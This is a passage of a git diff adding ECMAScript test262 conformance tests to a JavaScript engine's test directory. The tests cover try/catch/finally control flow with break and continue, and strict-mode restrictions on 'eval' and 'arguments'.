+ try{
+ throw "ex1";
+ }
+ finally{
+ try{
+ c7=1;
+ throw "ex2";
+ }
+ catch(er1){
+ if (er1!=="ex2") $ERROR('#7.1: Exception === "ex2". Actual: Exception ==='+er1);
+ if (er1==="ex1") $ERROR('#7.2: Exception !=="ex2". Actual: catch previous catched exception');
+ c7++;
+ }
+ finally{
+ c7*=2;
+ }
+ }
+}
+catch(er1){
+ if (er1!=="ex1") $ERROR('#7.3: Exception === "ex1". Actual: Exception ==='+er1);
+}
+if (c7!==4) $ERROR('#7.4: "finally" block must be evaluated');
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A8.js b/js/src/tests/test262/ch12/12.14/S12.14_A8.js
new file mode 100644
index 000000000..4ac0574a2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A8.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "try" with "catch" or "finally" statement within/without an "if" statement
+ *
+ * @path ch12/12.14/S12.14_A8.js
+ * @description Throwing exception within an "if" statement
+ */
+
+// CHECK#1
+var c1=1;
+try{
+ if(c1===1){
+ throw "ex1";
+ $ERROR('#1.1: throw "ex1" lead to throwing exception');
+ }
+ $ERROR('#1.2: throw "ex1" inside the "if" statement lead to throwing exception');
+}
+catch(er1){
+ if (er1!=="ex1") $ERROR('#1.3: Exception ==="ex1". Actual: Exception ==='+er1);
+}
+
+// CHECK#2
+var c2=1;
+if(c2===1){
+ try{
+ throw "ex1";
+ $ERROR('#2.1: throw "ex1" lead to throwing exception');
+ }
+ catch(er1){
+ if(er1!="ex1") $ERROR('#2.2: Exception ==="ex1". Actual: Exception ==='+er1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A9_T1.js b/js/src/tests/test262/ch12/12.14/S12.14_A9_T1.js
new file mode 100644
index 000000000..974b9e725
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A9_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "try" with "catch" or "finally" statement within/without an "do while" statement
+ *
+ * @path ch12/12.14/S12.14_A9_T1.js
+ * @description Loop within a "try" Block, from where exception is thrown
+ */
+
+// CHECK#1
+var i=0;
+try{
+ do{
+ if(i===5) throw i;
+ i++;
+ }
+ while(i<10);
+}
+catch(e){
+ if(e!==5)$ERROR('#1: Exception ===5. Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A9_T2.js b/js/src/tests/test262/ch12/12.14/S12.14_A9_T2.js
new file mode 100644
index 000000000..9b36f31fb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A9_T2.js
@@ -0,0 +1,122 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "try" with "catch" or "finally" statement within/without an "do while" statement
+ *
+ * @path ch12/12.14/S12.14_A9_T2.js
+ * @description "try" statement within a loop, the statement contains "continue" statement
+ */
+
+// CHECK#1
+var c1=0,fin=0;
+do{
+ try{
+ c1+=1;
+ continue;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ }
+ fin=-1;
+}
+while(c1<2);
+if(fin!==1){
+ $ERROR('#1: "finally" block must be evaluated at "try{continue} catch finally" construction');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+do{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ continue;
+ }
+ finally{
+ fin2=1;
+ }
+ fin2=-1;
+}
+while(c2<2);
+if(fin2!==1){
+ $ERROR('#2: "finally" block must be evaluated at "try catch{continue} finally" construction');
+}
+
+// CHECK#3
+var c3=0,fin3=0;
+do{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c3+=1;
+ }
+ finally{
+ fin3=1;
+ continue;
+ }
+ fin3=0;
+}
+while(c3<2);
+if(fin3!==1){
+ $ERROR('#3: "finally" block must be evaluated at "try catch finally{continue}" construction');
+}
+
+// CHECK#4
+var c4=0,fin4=0;
+do{
+ try{
+ c4+=1;
+ continue;
+ }
+ finally{
+ fin4=1;
+ }
+ fin4=-1;
+}
+while(c4<2);
+if(fin4!==1){
+ $ERROR('#4: "finally" block must be evaluated at "try{continue} finally" construction');
+}
+
+// CHECK#5
+var c5=0;
+do{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c5+=1;
+ continue;
+ }
+}
+while(c5<2);
+if(c5!==2){
+ $ERROR('#5: "try catch{continue}" must work correctly');
+}
+
+// CHECK#6
+var c6=0,fin6=0;
+do{
+ try{
+ c6+=1;
+ throw "ex1"
+ }
+ finally{
+ fin6=1;
+ continue;
+ }
+ fin6=-1;
+}
+while(c6<2);
+if(fin6!==1){
+ $ERROR('#6.1: "finally" block must be evaluated');
+}
+if(c6!==2){
+ $ERROR('#6.2: "try finally{continue}" must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A9_T3.js b/js/src/tests/test262/ch12/12.14/S12.14_A9_T3.js
new file mode 100644
index 000000000..60bdd4b30
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A9_T3.js
@@ -0,0 +1,158 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "try" with "catch" or "finally" statement within/without an "do while" statement
+ *
+ * @path ch12/12.14/S12.14_A9_T3.js
+ * @description "try" statement within a loop, the statement contains "break" statement
+ */
+
+// CHECK#1
+var c1=0,fin=0;
+do{
+ try{
+ c1+=1;
+ break;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ }
+ fin=-1;
+ c1+=2;
+}
+while(c1<2);
+if(fin!==1){
+ $ERROR('#1.1: "finally" block must be evaluated');
+}
+if(c1!==1){
+ $ERROR('#1.2: "try{break}catch finally" must work correctly');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+do{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ break;
+ }
+ finally{
+ fin2=1;
+ }
+ c2+=2;
+ fin2=-1;
+}
+while(c2<2);
+if(fin2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if(c2!==1){
+ $ERROR('#2.2: "try catch{break} finally" must work correctly');
+}
+
+// CHECK#3
+var c3=0,fin3=0;
+do{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c3+=1;
+ }
+ finally{
+ fin3=1;
+ break;
+ }
+ c3+=2;
+ fin3=0;
+}
+while(c3<2);
+if(fin3!==1){
+ $ERROR('#3.1: "finally" block must be evaluated');
+}
+if(c3!==1){
+ $ERROR('#3.2: "try catch finally{break}" must work correctly');
+}
+
+// CHECK#4
+var c4=0,fin4=0;
+do{
+ try{
+ c4+=1;
+ break;
+ }
+ finally{
+ fin4=1;
+ }
+ fin4=-1;
+ c4+=2;
+}
+while(c4<2);
+if(fin4!==1){
+ $ERROR('#4.1: "finally" block must be evaluated');
+}
+if(c4!==1){
+ $ERROR('#4.2: "try{break} finally" must work correctly');
+}
+
+// CHECK#5
+var c5=0;
+do{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ break;
+ }
+}
+while(c5<2);
+if(c5!==0){
+ $ERROR('#5: "try catch{break}" must work correctly');
+}
+
+// CHECK#6
+var c6=0;
+do{
+ try{
+ c6+=1;
+ break;
+ }
+ catch(er1){}
+ c6+=2;
+}
+while(c6<2);
+if(c6!==1){
+ $ERROR('#6: "try{break} catch" must work correctly');
+}
+
+// CHECK#7
+var c7=0,fin7=0;
+try{
+ do{
+ try{
+ c7+=1;
+ throw "ex1";
+ }
+ finally{
+ fin7=1;
+ break;
+ }
+ fin7=-1;
+ c7+=2;
+ }
+ while(c7<2);
+}
+catch(ex1){
+ c7=10;
+}
+if(fin7!==1){
+ $ERROR('#7.1: "finally" block must be evaluated');
+}
+if(c7!==1){
+ $ERROR('#7.2: try finally{break} error');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A9_T4.js b/js/src/tests/test262/ch12/12.14/S12.14_A9_T4.js
new file mode 100644
index 000000000..06542b1d1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A9_T4.js
@@ -0,0 +1,58 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "try" with "catch" or "finally" statement within/without an "do while" statement
+ *
+ * @path ch12/12.14/S12.14_A9_T4.js
+ * @description "try" statement within a loop, the statement contains "continue" and "break" statements
+ */
+
+// CHECK#1
+var c1=0,fin=0;
+do{
+ try{
+ c1+=1;
+ break;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ continue;
+ }
+ fin=-1;
+ c1+=2;
+}
+while(c1<2);
+if(fin!==1){
+ $ERROR('#1.1: "finally" block must be evaluated');
+}
+if(c1!==2){
+ $ERROR('#1.2: "try{break} catch finally{continue}" must work correctly');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+do{
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ break;
+ }
+ finally{
+ fin2=1;
+ continue;
+ }
+ c2+=2;
+ fin2=-1;
+}
+while(c2<2);
+if(fin2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if(c2!==2){
+ $ERROR('#2.2: "try catch{break} finally{continue}" must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A9_T5.js b/js/src/tests/test262/ch12/12.14/S12.14_A9_T5.js
new file mode 100644
index 000000000..dd16dfe2d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A9_T5.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "try" with "catch" or "finally" statement within/without an "do while" statement
+ *
+ * @path ch12/12.14/S12.14_A9_T5.js
+ * @description Checking if exceptions are thrown correctly from wherever of loop body
+ */
+
+// CHECK#1
+var c=0, i=0;
+var fin=0;
+do{
+ i+=1;
+ try{
+ if(c===0){
+ throw "ex1";
+ $ERROR('#1.1: throw "ex1" lead to throwing exception');
+ }
+ c+=2;
+ if(c===1){
+ throw "ex2";
+ $ERROR('#1.2: throw "ex2" lead to throwing exception');
+ }
+ }
+ catch(er1){
+ c-=1;
+ continue;
+ $ERROR('#1.3: "try catch{continue} finally" must work correctly');
+ }
+ finally{
+ fin+=1;
+ }
+}
+while(i<10);
+if(fin!==10){
+ $ERROR('#1.4: "finally" block must be evaluated');
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.14/browser.js b/js/src/tests/test262/ch12/12.14/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/browser.js
diff --git a/js/src/tests/test262/ch12/12.14/shell.js b/js/src/tests/test262/ch12/12.14/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/shell.js
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-1-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-1-s.js
new file mode 100644
index 000000000..102f9fdb0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-1-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-1-s.js
+ * @description eval - a function declaring a var named 'eval' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var eval; }');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-10-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-10-s.js
new file mode 100644
index 000000000..8f442fc90
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-10-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-10-s.js
+ * @description Strict Mode: an indirect eval assigning into 'eval' does not throw
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+ var s = eval;
+ s('eval = 42;');
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-11.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-11.js
new file mode 100644
index 000000000..650835ee1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-11.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-11.js
+ * @description arguments as var identifier in eval code is allowed
+ */
+
+
+function testcase() {
+ eval("var arguments;");
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-12-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-12-s.js
new file mode 100644
index 000000000..7d96f25fe
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-12-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-12-s.js
+ * @description arguments as local var identifier throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var arguments;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-12.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-12.js
new file mode 100644
index 000000000..f5ba2925d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-12.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-12.js
+ * @description arguments as local var identifier is allowed
+ */
+
+
+function testcase() {
+ eval("(function (){var arguments;})");
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-13-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-13-s.js
new file mode 100644
index 000000000..d34ab90d1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-13-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-13-s.js
+ * @description arguments assignment throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { arguments = 42; }; foo()');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-14-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-14-s.js
new file mode 100644
index 000000000..252688c96
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-14-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-14-s.js
+ * @description arguments - a function expr declaring a var named 'arguments' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('(function (){var arguments;});');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-15-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-15-s.js
new file mode 100644
index 000000000..185ba5156
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-15-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-15-s.js
+ * @description arguments - a function expr assigning into 'arguments' throws a SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('(function () {arguments = 42;})()');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-16-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-16-s.js
new file mode 100644
index 000000000..d39963bc7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-16-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-16-s.js
+ * @description A Function constructor (called as a function) declaring a var named 'arguments' does not throw a SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+ Function('var arguments;');
+ return true;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-17-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-17-s.js
new file mode 100644
index 000000000..c53dce258
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-17-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-17-s.js
+ * @description A Function constructor (called as a function) assigning into 'arguments' will not throw any error if contained within strict mode and its body does not start with strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ var f = Function('arguments = 42;');
+ f();
+ return true;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-18-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-18-s.js
new file mode 100644
index 000000000..fb4afd3c2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-18-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-18-s.js
+ * @description A direct eval declaring a var named 'arguments' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('var arguments;');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-19-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-19-s.js
new file mode 100644
index 000000000..18fcc5d18
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-19-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-19-s.js
+ * @description A direct eval assigning into 'arguments' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('arguments = 42;');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError) ;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-1gs.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-1gs.js
new file mode 100644
index 000000000..a93b2aae7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-1gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-1gs.js
+ * @description Strict Mode - SyntaxError is thrown if a VariableDeclaration occurs within strict code and its Identifier is eval
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+for (var eval in arrObj) { } \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-2-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-2-s.js
new file mode 100644
index 000000000..8b9848c54
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-2-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-2-s.js
+ * @description eval - a function assigning into 'eval' throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { eval = 42; }; foo()');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-20-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-20-s.js
new file mode 100644
index 000000000..230340fda
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-20-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-20-s.js
+ * @description Strict Mode: an indirect eval declaring a var named 'arguments' does not throw
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+ var s = eval;
+ s('var arguments;');
+ return true;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-21-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-21-s.js
new file mode 100644
index 000000000..2d1907b01
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-21-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-21-s.js
+ * @description Strict Mode: an indirect eval assigning into 'arguments' does not throw
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+ var s = eval;
+ s('arguments = 42;');
+ return true;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-22-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-22-s.js
new file mode 100644
index 000000000..943360cda
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-22-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-22-s.js
+ * @description arguments as global var identifier throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+
+ var indirectEval = eval;
+
+ try {
+ indirectEval("'use strict'; var arguments;");
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-23-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-23-s.js
new file mode 100644
index 000000000..29d667897
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-23-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-23-s.js
+ * @description arguments as local var identifier assigned to throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var arguments = 42;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-24-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-24-s.js
new file mode 100644
index 000000000..bd9cc069d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-24-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.2/12.2.1/12.2.1-24-s.js
+ * @description eval as local var identifier assigned to throws SyntaxError in strict mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval('function foo() { var eval = 42;}');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-25-s.js b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-25-s.js
new file mode 100644
index 000000000..f28397959
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/12.2.1/12.2.1-25-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
